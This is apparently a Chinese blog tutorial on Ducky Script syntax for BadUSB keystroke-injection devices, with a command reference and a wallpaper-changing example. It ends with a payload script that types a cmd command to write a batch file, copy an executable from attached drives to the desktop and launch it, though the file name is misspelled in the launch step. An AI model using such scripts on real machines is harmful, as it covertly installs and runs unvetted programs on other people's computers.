Ducky Script的脚本和语法
无序熵增
2020年04月05日 20:44

Ducky Script是BadUSB的专属语言,我先不对BadUSB这个概念做任何解释,如果你对这个概念并不熟悉,推荐去看我之前的视频,以及善用检索功能。

也在这捞一下我的视频欢迎大家批评指正。

现阶段有几种badusb的程序“语言“,一种是直接使用arduino的板子,使用ArduinoIDE为其编程,这种属于arduino的巧用,也是这两年使用较多的一种方法,成本低,上手也简单。另外一种是DuckyScript脚本,这是专属于badUSB的一种脚本语言,语法简单,上手更为容易,这是我今天要讲的主角。除此之外还有各类奇奇怪怪的BadUSB设备,比如拿树莓派ZeroW做的P4wnP1,这个里面也可以运行Ducky Script,但是它是运行的linux系统,如果你有单片机知识,你也可以拿着stm32,fpga来模拟键盘,但是那就远了。

先贴这个语言的介绍,最开始这是Hak5为自家的USB Rubber Ducky设计的语言,项目地址见:https://github.com/hak5darren/USB-Rubber-Ducky  英语水平高的兄弟,推荐直接看英文文档,省去我的絮叨。

你可以看到,这种语言的诞生就是因为第一种商用的Badusb,USB Rubber Ducky的销售,而进入了众人视野。而USB Rubber Ducky的名字取自一句俚语:一只鸟长得像鸭子,叫声像鸭子,走路也像鸭子,那它就是鸭子。细想之下,橡皮鸭能发出鸭子叫声,长得也像鸭子,BadUSB长得像U盘,以键盘方式与电脑通讯,所以Hak5给这种设备起名叫USB Rubber Ducky。

既然名字起的和鸭子有关系,因为鸭子的叫声很大,所以,Ducky Script都是大写的指令。

说几个问题这是一种脚本语言,使用时不需要编译,推荐使用纯文本编辑器来写这种脚本,比如官方推荐的Notepad(这个我不推荐), vi, emacs, nano, gedit, kedit, TextEdit这些编辑器,当然,Atom,sublime,Notepad++,这种编辑器也是可以的甚至更好,但是word,以及windows自带的文本编辑器,wps这些都不推荐。

既然是模拟键盘操作,所以你在掌握这种脚本的同时你还需要学习其他语言,例如,CMD的脚本,PowerShell的脚本,linux的指令,Mac的指令,这是这颗科技树上其他需要点亮的技能点,但是我先不向大家介绍那些了。

第一个指令REM,REM类似于注释,后面跟随的东西不需要运行,是写给自己或者其他人看的,举个例子。

REM Hey you, hey you, Devil's little sister

REM后面是一句歌词,在运行中不会发生任何事情,但是你读代码的时候却可以看到。

由于要模拟人和键盘的交互,人不是机器,每个按键的按下和放松都有时间,每个输入之间也一样有延时,更重要的是,你进行了一些操作之后还需要等待一下,比如,按下菜单键,输入cmd,回车,之后你要等待几十到几百毫秒,才能看到cmd窗口。所以Ducky Script中有一个延时指令:DELAY。

DELAY,DEFAULT_DELAY,DEFAULTDELAY都是延时语句,后面两个一样功能,举个例子。

DEFAULT_DELAY 100

DEFAULTDELAY 100

这两个语句都是一样的,都是设置之后的语句每个语句之间间隔100ms,如果你在最开始设置了这个,之后就不用设置延时语句了。

DELAY 100

这个语句放在后面介绍的语句之间,就是代表它上下两个语句之间延时100ms。

这个语句也许是最重要的了,STRING,这个语句后面加你要输入电脑的语句,可以加任意字符,我说的字符,指的是数字,字母以及其他的比如?!-_+=\|这类。举个例子。

STRING XD

这个语句的效果就相当于你在电脑前输入了大写的XD,当然了这个语句同一行的其他字符都会被忠实的反馈到电脑上,就像你自己输入一样。

之后就是一堆特殊按键的字符,不多说,我列个表就行了。

GUI                       windows菜单键

WINDOWS           windows菜单键

SHIFT                    shift键

ALT                      Alt键

CONTROL            Ctrl键

CTRL                    Ctrl键

DOWNARROW     下箭头

DOWN                 下箭头

LEFTARROW         左箭头

LEFT                     左箭头

RIGHTARROW      右箭头

RIGHT                   右箭头

UPARROW            上箭头

UP                        上箭头

BREAK                 Pause键

PAUSE                 和上一个是一样的

CAPSLOCK           大写键

DELETE                删除键

END                     END键,我估计你们不常用这个

ESC                      键盘上左上角的键

ESCAPE                键盘上左上角的键

HOME                 Home键

INSERT                 Insert键

NUMLOCK           键盘锁键

PAGEUP               上翻页键

PAGEDOWN         下翻页键

PRINTSCREEN      屏幕截屏键

SCROLLLOCK       话说不写文档我都想不起键盘上还有这个键,Scrolllock键

SPACE                 空格键,如果你延时把握的好,你甚至可以用这个指令玩炫舞

TAB                      就是Tab键咯

 

REPEAT是一个很特殊指令,将下面的语句重复多少遍,举个例子。

REPEAT 100

STRING Hello World!

以上的代码块就是输出Hello World!这条语句一百次,无情的打字机器,对吧。

  

说点题外话,我这两天拍的教程中的设备,USB Ninja Pro还在以上基础上添加了一些功能,也就是几个新的脚本指令。我在这里也介绍下。

USBON             切换到Ninja的USB口,原本通道关闭

USBOFF            切换至原来的USB口,关闭Ninja的USB通道

CAPSLOCK ON 大写锁定,使用之后,保证电脑一直在大写锁定态

CAPSLOCK OFF 大写锁定关,保证电脑在非大写锁定态

PLUGAUTORUN 后面跟数字,下一次插入直接运行数字对应的SLOT里面存储的脚本

MSCREAD         手动将ROM里面的数据加载到RAM,也就是挂载U盘操作

MSCSAVE          手动将RAM里面的数据加载到ROM,也就是断开并保持U盘内容

MSCWIPE          擦除ROM盘里面的数据

MSCFORM        格式化ROM盘中的数据

MSCONOFF      后跟参数0或者1,为1时U盘功能启动

  

举个完整的例子吧。

REM This is a script to download and change the wallpaper in windows 10

REM In order to work, windows must be using the default app for opening photos

以上两句是注释行

DELAY 5000                

延时5000ms,也就是五秒

CONTROL ESCAPE

Ctrl键加Esc键

DELAY 100

延时100ms

REM Note: The internet explorer method works usually for everyone but

REM If you want to use Chrome or Firefox instead of IE, remove 'iexplorer&#​39; from the following line

REM but also make sure to follow instructions bellow

又是三行注释

STRING iexplore http://www.thecuriosityworkshop.com/wp-content/uploads/2015/03/01-rubberduck-hongkong.jpg

使用ie打开一个网址

ENTER

回车

DELAY 4000

延时4秒

CONTROL s

Ctrl键加s键,也就是保存了

DELAY 2000

延时

ENTER

回车

DELAY 300

延时

CONTROL ESCAPE

Ctrl加ESC键

DELAY 300

延时

REM If you want to use Chrome, change 'Documents&#​39; to 'Downloads&#​39;

REM If you want to use Firefox, change 'Documents&#​39; to 'Pictures&#​39;

注释

STRING %USERPROFILE%\Documents\01-rubberduck-hongkong.jpg

输入了一条指令

DELAY 500

ENTER

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

TAB

DELAY 500

ENTER

DELAY 500

DOWN

DELAY 500

DOWN

DELAY 500

DOWN

DELAY 500

DOWN

DELAY 500

ENTER

DELAY 500

DOWN

DELAY 500

DOWN

DELAY 500

ENTER

DELAY 500

后面就是模拟键盘进行了一系列的选择了,最终,你的壁纸会被替换为上面网址中的图片。

 

我这里也放一段脚本,推荐你们自行理解并使用

MSCREAD

USBON

CAPSloCk On

GUI r

DELAY 500

STRING cmd /c echo "cmd /c ping 127.0.0.1 > nul && for %%i in (A B C D E F G H I J K) do copy %%i:\fuck.exe %USERPROFILE%\Desktop\fuck.exe && start %USERPROFILE%\Desktop\fuvk.exe" > %Temp%\a.bat && %Temp%\a.bat

ENTER

CAPSloCk Off

DELAY 5000

REPEAT 2

USBOFF

玩的开心XD